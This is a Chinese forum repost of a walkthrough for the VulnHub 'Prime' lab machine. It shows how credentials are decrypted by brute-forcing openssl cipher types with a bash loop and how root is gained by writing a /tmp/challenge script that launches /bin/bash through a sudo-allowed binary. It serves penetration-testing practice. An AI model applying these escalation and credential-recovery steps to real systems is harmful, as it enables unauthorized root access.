Prime2_解法二:openssl解密凭据

金歌  金牌会员 | 2024-12-10 00:42:36 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 849|帖子 849|积分 2547

Prime2_解法二:openssl解密凭据

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技能本领。请在正当合规的前提下利用本文中提供的任何技能、方法或工具。如果您选择利用本博客中的任何信息进行非法活动,您将独自负担全部法律责任。本博客明确表现不支持、不鼓励也不参与任何情势的非法活动。
如有侵权请联系我第一时间删除
靶机下载地址
Prime: 1 ~ VulnHub
find查找备份文件得到key of enc

在第一种解法得到系统驻足点后,第一种解法利用linux内核漏洞提权,但内核漏洞提权在实战渗出中太过于暴力,很可能会造成系统服务的重启或停止,导致得到的shell丢失,服务器管理员修复漏洞等不利于渗出的情况。以是这里带来第二种解法:openssl解密凭据
find指令查找带有*back*的文件 并把报错结果抛弃(权限不敷)
  1. find / -name "*backup*" 2>/dev/null
复制代码

查看backup_pass
  1. www-data@ubuntu:/opt/backup/server_database$ cat backup_pass
  2. cat backup_pass
  3. your password for backup_database file enc is
  4. "backup_password"
  5. Enjoy!
复制代码
运行enc得到密文enc.txt & 密钥key.txt

提示我们enc的密码是backupa_password   enc是我们sudo -l查看www-data用户权限时看到的一个文件
  1. www-data@ubuntu:/opt/backup/server_database$ sudo -l
  2. sudo -l
  3. Matching Defaults entries for www-data on ubuntu:
  4.     env_reset, mail_badpass,
  5.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  6. User www-data may run the following commands on ubuntu:
  7.     (root) NOPASSWD: /home/saket/enc
复制代码
cd到/home/saket目录,再执行enc(直接执行绝对路径会报错)
  1. www-data@ubuntu:/home/saket$ ./enc  
  2. ./enc
  3. enter password: backup_password
  4. good
  5. /bin/cp: cannot stat '/root/enc.txt': Permission denied
  6. /bin/cp: cannot stat '/root/key.txt': Permission denied
复制代码
没什么反应,看到有个报错权限不敷,加个sudo试试
  1. www-data@ubuntu:/home/saket$ sudo ./enc
  2. sudo ./enc
  3. enter password: backup_password
  4. good
复制代码
照旧没反应,重新ls发现多出来enc.txt 和 key.txt原来是运行enc后,帮我们从/root下拿出来了这两个txt文件
  1. www-data@ubuntu:/home/saket$ ls -lah
  2. ls -lah
  3. total 44K
  4. drwxr-xr-x 2 root root 4.0K Dec  6 23:23 .
  5. drwxr-xr-x 4 root root 4.0K Aug 29  2019 ..
  6. -rw------- 1 root root   20 Aug 31  2019 .bash_history
  7. -rwxr-x--x 1 root root  14K Aug 30  2019 enc
  8. -rw-r--r-- 1 root root  237 Dec  6 23:23 enc.txt
  9. -rw-r--r-- 1 root root  123 Dec  6 23:23 key.txt
  10. -rw-r--r-- 1 root root   18 Aug 29  2019 password.txt
  11. -rw-r--r-- 1 root root   33 Aug 31  2019 user.txt
复制代码
看一下这两个txt
  1. www-data@ubuntu:/home/saket$ cat enc.txt
  2. cat enc.txt
  3. www-data@ubuntu:/home/saket$ cat key.txt
  4. cat key.txt
  5. I know you are the fan of ippsec.
  6. So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.
复制代码
第一个是一个加密过的密文,key的大意为  我知道你是ippsec的粉丝,以是将ippsec这个字符串转换为md5hash,用它获得你的real form吧
那就先来md5一下ippsec,红笔大佬用kali去进行的,我就直接用赛博大厨了
  1. 366a74cb3c959de17d61db30591c39d1
复制代码
用命令行的方法放在下面
-n用于去掉字符串后的换行符
  1. echo –n 'ippsec' | md5sum
复制代码
awk用于处理字符串,awk -F ' ' '{print $1;}'意思是以空格为分割,打印其中第一个部分$1,如许就会只输出366a74cb3c959de17d61db30591c39d1 背面的 - 不会输出。
  1. echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}'
复制代码
Openssl解密

简单查看帮助,发现有这么多加密方式,应该利用什么方式去解密呢,我们要知道加密基天职为对称加密和非堆成加密
对称加密利用相同的密钥对密文进行加密和解密,常见的加密方式有AES,DES, 3DES,RC4,5,6等
非对称加密利用一对密钥(公钥和私钥)
  1. ┌──(observer㉿kali)-[~]
  2. └─$ openssl                                
  3. help:
  4. Standard commands
  5. asn1parse         ca                ciphers           cmp               
  6. cms               crl               crl2pkcs7         dgst              
  7. dhparam           dsa               dsaparam          ec               
  8. ecparam           enc               engine            errstr            
  9. fipsinstall       gendsa            genpkey           genrsa            
  10. help              info              kdf               list              
  11. mac               nseq              ocsp              passwd            
  12. pkcs12            pkcs7             pkcs8             pkey              
  13. pkeyparam         pkeyutl           prime             rand              
  14. rehash            req               rsa               rsautl            
  15. s_client          s_server          s_time            sess_id           
  16. smime             speed             spkac             srp               
  17. storeutl          ts                verify            version           
  18. x509              
  19. Message Digest commands (see the `dgst' command for more details)
  20. blake2b512        blake2s256        md4               md5               
  21. rmd160            sha1              sha224            sha256            
  22. sha3-224          sha3-256          sha3-384          sha3-512         
  23. sha384            sha512            sha512-224        sha512-256        
  24. shake128          shake256          sm3               
  25. Cipher commands (see the `enc' command for more details)
  26. aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb      
  27. aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      
  28. aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      
  29. aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     
  30. aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      
  31. aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     
  32. aria-256-ctr      aria-256-ecb      aria-256-ofb      base64            
  33. bf                bf-cbc            bf-cfb            bf-ecb            
  34. bf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  
  35. camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              
  36. cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         
  37. cast5-ofb         des               des-cbc           des-cfb           
  38. des-ecb           des-ede           des-ede-cbc       des-ede-cfb      
  39. des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      
  40. des-ede3-ofb      des-ofb           des3              desx              
  41. rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           
  42. rc2-cfb           rc2-ecb           rc2-ofb           rc4               
  43. rc4-40            seed              seed-cbc          seed-cfb         
  44. seed-ecb          seed-ofb          sm4-cbc           sm4-cfb           
  45. sm4-ctr           sm4-ecb           sm4-ofb           zlib              
  46. zstd         
复制代码
固然知道加密方式为对称加密,但我们照旧很难确定具体的加密方式,到底是AES,DES, 3DES,RC4,5,6之中的一种的那种模式,照旧是其他的对称加密,以是直接暴力破解吧
用enc模块去解密

必要将key转换成16进制
直接在此前的基础上用od转换成16进制,并用tr进行一些数据上的处理
  1. echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}' | tr -d '\n' | od -A n -t x1| tr -d '\n' | tr -d ' '
复制代码
参数阐明
od -A n -t x1  -A n  指定偏移量为null  -t x1  指定输出范例为单字节的十六进制值 x 表现十六进制,1 表现每个输出项是一个字节。
tr -d '\n'    tr -d ' '    -d, 删除 ARRAY1 中的字符
得到hex后的密钥3336366137346362336339353964653137643631646233303539316333396431
以下引用自:Vulnhub靶机实操笔记-Prime1-解法二 - FreeBuf网络安全行业门户
单字节转16进制:利用ASCII码表将每个字符转换为对应的16进制值。例如,字符串 "A" 的16进制表现为 "41",其中 "41" 是字符 "A" 在ASCII码表中的十六进制表现。
双字节转16进制:利用Unicode字符编码标准将每个字符转换为对应的16进制值。例如,字符串 "中" 的16进制表现为 "4E2D",其中 "4E2D" 是字符 "中" 在Unicode编码表中的十六进制表现。
对于判定是利用双字节照旧单字节转16进制,您必要查看当前编码方式,主要有以下三种:
ASCII编码:该编码方式只支持单字节字符,因此在此编码方式下,将字符串转换为16进制时只必要利用单字节转换方式即可。例如 "ippsec" 就是单字节。
UTF-8编码:UTF-8编码是一种可变长度字符编码方式,支持单字节和双字节字符。在此编码方式下,单字节字符采用单字节转换方式,而双字节字符采用双字节转换方式。例如 "中文" 就是双字节字符。
UTF-16编码:UTF-16编码是一种双字节编码方式,因此在此编码方式下,所有字符都是双字节字符,必要利用双字节转换方式。例如 "英文" 在UTF-16编码方式下也是双字节字符。
根据上述规则,如果字符串 "ippsec" 是利用ASCII编码的,则将其转换为16进制时只必要利用单字节转换方式;如果是利用UTF-8编码,那么必要对其中的双字节字符利用双字节转换方式。
  1. echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -cipherType -K 3336366137346362336339353964653137643631646233303539316333396431
复制代码
参数阐明
-d  解密模式
-a    base64解密  密文一眼顶真为base64加密过的
-cipherType 这里指定加密方式,这里不知道先用这个取代
-K 指定密钥,必要用16进制
加密方式的爆破文件

touch新建一个文件ciphertype.txt   vim一下,把加密方式放进去
用awk处理一下,gsub()函数将空格替换成换行符
  1. awk '{gsub(" ","\n");print}' ciphertype.txt
复制代码
处理之后酿成如许了(一小部分),那就把换行符都删掉
  1. sm4-ecb
  2. sm4-ofb
复制代码
将awk输出的结果处理一下: sort让非空行聚集在一起,然后uniq将每一项字符串但独占一行
  1. awk '{gsub(" ","\n");print}' ciphertype.txt | sort | uniq
复制代码

然后将结果放进一个指定文件,如许爆破要用到的文件就做好了
  1. awk '{gsub(" ","\n");print}' ciphertype.txt | sort | uniq > ciphertypeforce
复制代码
openssl+bash脚本暴力破解

写个bash脚本,用for循环暴力破解一下
  1. for cipher in $(cat ciphertypeforce); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $cipher;done
复制代码

拿到了加密方式和明文
  1. Dont worry saket one day we will reach to
  2. our destination very soon. And if you forget
  3. your username then use your old password
  4. ==> "tribute_to_ippsec"
  5. Victor,aes-256-ecb
复制代码
以是如今用这个也可以了,-aes-256-ecb加密方式是不必要指定iv的(偏移量)
  1. echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -aes-256-ecb -K 3336366137346362336339353964653137643631646233303539316333396431
复制代码
可能看到这已经忘记之前etc/passwd里有一个1001用户saket,我们拿到了他的凭据,用它去ssh登陆吧

ssh连接saket用户
  1. sudo ssh saket@靶机ip
复制代码
输入yes,输入密码tribute_to_ippsec
乐成拿到saket用户的权限,用python提升一下shell交互性,这里前面打sickos解法二时先容过,不再赘述
  1. python -c 'import pty;pty.spawn("/bin/bash")'
复制代码
sudo -l看一下权限,权限照旧不高,但是有新的发现,可以root权限执行/home/victor/undefeated_victor
  1. saket@ubuntu:~$ sudo -l
  2. Matching Defaults entries for saket on ubuntu:
  3.     env_reset, mail_badpass,
  4.     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  5. User saket may run the following commands on ubuntu:
  6.     (root) NOPASSWD: /home/victor/undefeated_victor
复制代码
没有权限查看,应该是只有运行权限
  1. saket@ubuntu:~$ cd /home/victor
  2. saket@ubuntu:/home/victor$ ls -liah
  3. ls: cannot open directory '.': Permission denied
复制代码
给了一段文字 如果你可以打败我那就在你眼前挑衅我  然后报错提示/tmp/challenge: not found
  1. saket@ubuntu:/home/victor$ sudo ./undefeated_victor
  2. if you can defeat me then challenge me in front of you
  3. /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found
复制代码
执行这个undefeated_victor,就会牵扯到/tmp/challenge,如果undefeated_victor的操纵是执行challenge,那就可以在里面写入提权的命令来乐成提权(因为root权限执行undefeated_victor)
cd到tmp发现确实是没有challenge,那就直接写一个,刚好tmp目录的权限够用
  1. saket@ubuntu:/tmp$ ls -liah
  2. total 52K
  3. 786435 drwxrwxrwt 12 root root 4.0K Dec  7 08:26 .
  4.      2 drwxr-xr-x 24 root root 4.0K Aug 29  2019 ..
  5. 789602 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .font-unix
  6. 788411 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .ICE-unix
  7. 790238 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-colord.service-VimvwZ
  8. 790192 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-rtkit-daemon.service-7QYuF5
  9. 789604 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-systemd-timesyncd.service-3nNCGI
  10. 789603 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .Test-unix
  11. 788409 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 VMwareDnD
  12. 789606 drwx------  2 root root 4.0K Dec  6 22:37 vmware-root
  13. 789614 -r--r--r--  1 root root   11 Dec  6 22:37 .X0-lock
  14. 788410 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .X11-unix
  15. 788412 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .XIM-unix
复制代码
乐成将challenge写为用于提权的bash脚本文件
  1. saket@ubuntu:/tmp$ echo '#!/bin/bash' > challenge
  2. saket@ubuntu:/tmp$ cat challenge
  3. #!/bin/bash
  4. saket@ubuntu:/tmp$ echo '/bin/bash' >> challenge
  5. saket@ubuntu:/tmp$ cat challenge
  6. #!/bin/bash
  7. /bin/bash
复制代码
再次执行undefeated_victor 应该就能直接提权了(要回到/home/victor这个目录下)
  1. saket@ubuntu:/home/victor$ sudo undefeated_victor
  2. [sudo] password for saket:
  3. sudo: undefeated_victor: command not found
  4. saket@ubuntu:/home/victor$ sudo /home/victor/undefeated_victor
  5. if you can defeat me then challenge me in front of you
  6. /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: Permission denied
复制代码
提示没有权限执行,原因是我没有给challenge执行权限
  1. chmod +x /tmp/challenge
复制代码
乐成拿下(附定妆照一张)

其实undefeated_victor 就很简单,输入这一句话,然后执行challenge
  1. root@ubuntu:/home/victor# cat undefeated_victor                                    
  2. echo  "if you can defeat me then challenge me in front of you";                     
  3. /tmp/challenge
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

金歌

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表